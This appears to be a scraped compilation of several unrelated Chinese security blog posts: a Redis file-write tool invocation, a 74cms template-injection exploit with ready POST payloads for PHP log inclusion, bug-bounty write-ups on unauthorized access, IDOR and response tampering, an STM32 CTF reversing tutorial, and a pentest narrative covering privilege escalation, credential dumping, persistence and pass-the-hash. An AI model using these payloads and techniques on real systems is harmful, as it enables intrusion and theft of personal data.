--rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1  --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"  --lfile="test.txt"   哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。    骑士cms 存在模板解析漏洞   打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)   这样操作 http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl POST: variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/> http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl POST: variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log           漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行。
一次edu证书站的挖掘
前言 最近edusrc上了新证书,这不得安排他一手。 确定目标 话不说信息收集一手,直接打开fofa,使用语法title="XXX大学",找到了一个系统 看到登录框,可能大家都会先进行弱口令的爆破,可能是我脸黑,遇到这种我就没有一次能爆破出来的,所以我比较喜欢测试未授权访问,这里我随便输了个账号密码 返回抓取这个接口的返回包,返回包里返回了500 这里我把它改成了两百,能进去系统,但是没有任何的数据信息 然后我直接F12查看源代码,找到了一处路由,/EmployeeManager,将他拼接在网址后面 访问 直接一手未授权访问,中危到手,原本想着提交上去手工了的,但一看证书兑换条件,得两个中危,这不是为难我胖虎吗,没办法就能继续加班,于是我利用了刚才获取到的用户名密码登录 登录进去后有一个个人承诺,需要点了同意才能下一步,让后点击同意进行抓包  接口返回了用户的sf证和密码,接着把EmployeeID=000005 改成000006  又是一个水平越权,泄露了用户敏感信息,中危有应该是稳了,然后我注意到了这个系统是区分管里员和普通用户的,就是一个前端可以选择角色类型进行登录,然后我想到能不能用普通用户的账号密码登录,然后越权到管理员的权限,在登录时进行抓包 拦截这个接口的返回包 把QX改成管理员,然后放包 可以看到已经越权成了管理员的sf  结束 都是很常规的漏洞,最重要的就是细心了。
CTF竞赛题解:stm32逆向入门
固件安全 一、前言 本日学习记录 二、复现 1、SCTF 2020 Password Lock 参考链接:https://xuanxuanblingbling.github.io/iot/2020/07/08/stm32/ 题目描述 这是一个STM32F103C8T6 MCU密码锁它具有4个按键,分别为1, 2, 3, 4. 分别对应GPIO_PA1, GPIO_PA2, GPIO_PA3, GPIO_PA4flag1格式为SCTF{正确的按键密码}输入正确的密码, 它将通过串口(PA9–TX)发送flag2 解题思路 题目附件给出了一个Intel hex文件,并且给出了芯片信息我们可以确定程序的内存布局和外设寄存器与内存的对应。而逆向的关键就是读懂程序代码的含义,接下来我们将逐步分析这个hex文件。 1. hex文件结构 Intel hex文件格式由纯文本构成,其中包含了程序的加载地址和程序入口地址等信息,读懂这些信息可以帮助我们快速定位程序的起始入口而不用在ida中进行配置。 https://www.cnblogs.com/aqing1987/p/4185362.html 我们可以使用文本编辑器打开题目附件,其中关键信息如下所示: :020000040800F2 ... ... :04000005080000ED02 :00000001FF 程序加载地址为0x08000000 程序入口地址为0x080000ED 程序以:00000001FF结尾 其余全是文件数据 2、内存布局 查找芯片手册的网站:https://www.alldatasheet.com/在里面我们可以找到STM32F103C8T6的手册,第一页发现我们需要的一些信息 Flash memory:32-to-128 Kbytes SRAM:6-to-20 Kbytes 31页的Memory Map可以让我们更加直观的了解到内存的详细布局 综上所述我们得到了程序的完整内存布局信息: Flash Memory: 0x8000000 ~ 0x801FFFF (128K) SRAM: 0x20000000 ~ 0x20004FFF (20K) Peripherals: 0x40000000 ~ 0x40023400 3、IDA分析 经过刚才的分析我们了解了程序的内存布局,其中Flash段除了包含代码,还有中断向量表。Periphers段中的寄存器是我们在逆向过程中需要对齐有大体了解。而对于hex文件的分析我们了解到除了加载地址和入口地址,其他的所有内容都不在hex文件中,所以我们需要手动配置这些内存布局信息来告诉IDA怎么识别。 打开ida工具,根据刚才的手册中我们可以查到芯片是arm32 Armv7-M架构,如下图所示进行配置选择然后单击ok 可以看到已经能识别出一部分函数,其中start函数的地址与我们分析hex文件结构时找到的程序入口地址相同。 如果hex文件中没有给出入口地址信息我们也可以通过寻找RESET中断处理函数来确定程序入口函数。其中RESET中断函数的地址可以在https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中找到相关信息 参考 https://blog.csdn.net/yangzhao0001/article/details/73293379 中我们可以了解到在中断向量表中RESET的地址0x8000004的地址是固定的,而可变的是程序的加载地址。我们跳转到0x8000004这个地址上,按键盘D键将上面的数据分成4字节形式找到reset的地址为0x8000101 跳转到RESET中断处理函数,存在两次跳转。第一次跳转到nullsub_1上并将下一条指令地址放入LR寄存器,nullsub_1函数的作用是跳回LR寄存器中的地址,所以第一跳没有意义。第二次跳转就是我们的start地址,所以完全可以利用此方式定位到程序的入口地址。 一直跟着入口地址走就能找到这个程序的main函数所在,但是进来之后可以发现左边这一大片红色的标记,观察这些红色区域其实就是IDA没有识别的地址,也就是我们之前分析内存布局需要添加的内存段。 我们在IDA中新建Segment,如下图所示: 这时只要我们再次点击F5即可让这些红色的标识变成正常识别的内存了 4、修复中断向量表 使用IDApython恢复程序入口地址之前的信息 for i in range(0x8000000,0x80000eb,1): del_items(i) for i in range(0x8000000,0x80000eb,4): create_dword(i) 修复完成后我们观察这里面的地址,会发现有很多重复的地址0x800016D,跟进去会发现这些地址中没有定义函数功能。继续查看中断向量表会发现下面几个不同的内存地址 参考 https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中的内容我们可以查找到这些就是EXTI的中断处理函数地址 https://bbs.huaweicloud.com/blogs/326866 跟进这些函数地址会发现IDA并没有将其识别为函数,所以我们先在函数起始地址处按P键,然后进行反汇编即可看到这些中断处理函数,这里我以EXTI_4的中断处理函数为例来简单介绍一下这些中断处理函数的功能。 int EXTI_4() { int result; // r0 EXTI_LINE = 16; switch ( sum ) {   case 1:     unk_20000006 = 116;     return sum++ + 1;   case 2:     unk_20000010 = 95;     return sum++ + 1;   case 4:     unk_2000000E = unk_20000001;     return sum++ + 1;   default:     result = 0;     sum = 0;     break; } return result; } 程序一开始先设置了中断/事件线,EXTI_4的中断/事件线为0x10,然后使用一块内存(这里记作sum)来作为累加数的保存位置。我们可以看到当sum中的值为1、2、4时sum的值会+1,如果不是的话则会重新开始。所以我们可以判断出1、2、4就是EXTI_4出现在密码中的位数,同理其他的三个按钮也是一样的,通过这些顺序我们可以得到最终的flag为flag{1442413},并且我们可以发现在main函数中程序先模拟输入了一次密码,通过将上面的值与EXTI_LINE进行对应也能得到flag值。 2、2021 HWS 入营赛-STM32 经过了上一题的入门接下来我们再来一道题目练习一下,打开IDA类型选择小段arm32,架构选择ARMv7-M架构。 接下来设置程序的加载地址和读取地址设置为0x8000000,加载地址是指IDA加载的分析地址是多少,而Input File是指固件要从什么位置开始加载,设置好以后我们点击OK完成设置。 进入以后会发现IDA没有识别出任何函数,不用担心我们可以通过定位reset的中断处理来找到main函数的位置。将0x8000004地址处的字节变成4字节,得到reset中断处理函数地址0x8000101。 可以发现地址的结尾是奇数位,在arm中这代表了thumb模式。我们可以在0x8000101地址按下C键即可生成代码 一直跟着程序流走我们就能找到main函数所在位置sub_80003C0,并且在其中发现了需要逆向的函数sub_8000314 _BYTE *sub_8000314() { _BYTE *v0; // r4 char *v1; // r5 int v2; // r6 char v3; // t1 v0 = (_BYTE *)sub_80003F0(48); v1 = &byte_8000344; v2 = 0; while ( v2++ != 0 ) {   v3 = *v1++;   *v0++ = (v3 ^ 0x1E) + 3;   sub_8000124(v1); } return v0; } 写出解题脚本即可获得flag值 li = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30, 0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33, 0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28, 0x2E, 0x64] print(''.join(chr((i ^ 0x1E) + 3) for i in li))
实战回忆录:从Webshell开始突破边界
正文 某授权单位的一次渗透,由于使用的php框架,某cms的上传,从实现webshell开始。 详情 添加监听,生成木马文件更改应用程序名称隐藏上线。 修改休眠时间为10秒 查看主机名whoami 抓取明文密码 果然权限不够,提权 各种土豆尝试一波提权,根据补丁的话没搜到,winserver2012的提权这里ms16-075是可以的,但是奇怪的是CS未上线,上传脚本上线CS 然而并没有上线,试错的成本是高的 查询一下winserver 2012的版本提权,上传了多个脚本不行,CS的插件刚好碰到,其实第一次尝试的时候不知道为什么是失败的,真是奇怪了 重新起一个监听 继续提权,ms-058是可以提权 第二次才成功提权 修改睡眠时间,不建议太长也不建议太短,抓取明文密码 成功抓取到明文密码,尝试能不能远程登录,因为前期信息搜集的时候3389是开的。 成功登录 尝试写定时任务进项权限维持,这里的话选择计划任务或者dll劫持类的其实都可以,这里我选择的是计划任务,毕竟授权项目也不担心其他的问题,根据前面的systeminfo信息此时我们相当于已经拿到了域控的权限,可以继续进行内网横向和域渗透 该网段的pc比较少,内网一般都有其他ip,直接扫描B段 获取到大量的内网终端信息,但是win10居多,win10的445端口的利用一般都会被拦掉,直接扫描有没有服务类的,如ftp 虚拟终端可执行,但无回显,只能远程上去 内网存在大量终端,但是没有服务器,服务器的话就只有这一台,小的域,那么这个时候内网的网络拓扑大致是有了,445的话内网存在大量主机开放 但是尝试了几个利用都没成功,基本上winserver的服务器的话拿到shell的概率可能比较高,win10的主机之前也没成功过,这次也未成功拿到shell 根据获取到的明文密码,密码喷洒来进行爆破 得到某些账户的密码。 查询当前登录的域用户 根据前面查询的主机名确定主机ip地址为192.168.0.119,pth上线完事儿。 小结 不清楚是不是蜜罐,但是内网的基本上没什么服务器,域的话用户量也不大,反正写报告交差就完事儿了。
记一次有趣的逻辑漏洞挖掘
今天又是一个挖洞的好日子,哈哈哈哈~ 发现一个系统,进去瞅瞅... 随便输入手机号和验证码,抓包,修改返回包 继续抓包并拦截,看到生成了一个openid 继续抓包,看到手机号和openid在请求包中,因为是无效的手机号,虽然可以绕过验证码校验,但是肯定不能是不能进入系统的嘛,此时想到去网上找一个有效账号 谷歌语法走一波,发现了一些有用的东西,赶紧保存 从中挑选一个手机号进行替换,然后放包,查看前端页面,没有任何反应 发送到repeater模块看看,结果看到了这个手机号对应的个人信息,通过替换手机号,可看到大量用户的敏感信息,不仅是越权,还是未授权 到这还没结束,因为系统还没进去呢,此时抱着试一试的心态随机修改openid字段,将最后的字符换了,放包,发现竟然进去系统了,又懵又喜啊 到这里后继续抓包,又发现一个有意思的包,赶紧尝试越权测试,修改body中的数字,看依一下响应,果然可以越权,哈哈哈,一般管理员的id不是0就是1 ,改成1试一下看能不能越权到管理员,我去,1就是管理员 重复上面进入系统的方法,修改openid和替换管理员手机号,最终拿到了管理员的权限 拿到管理员还不是为所欲为,哈哈哈....... 今天的分享就到这了。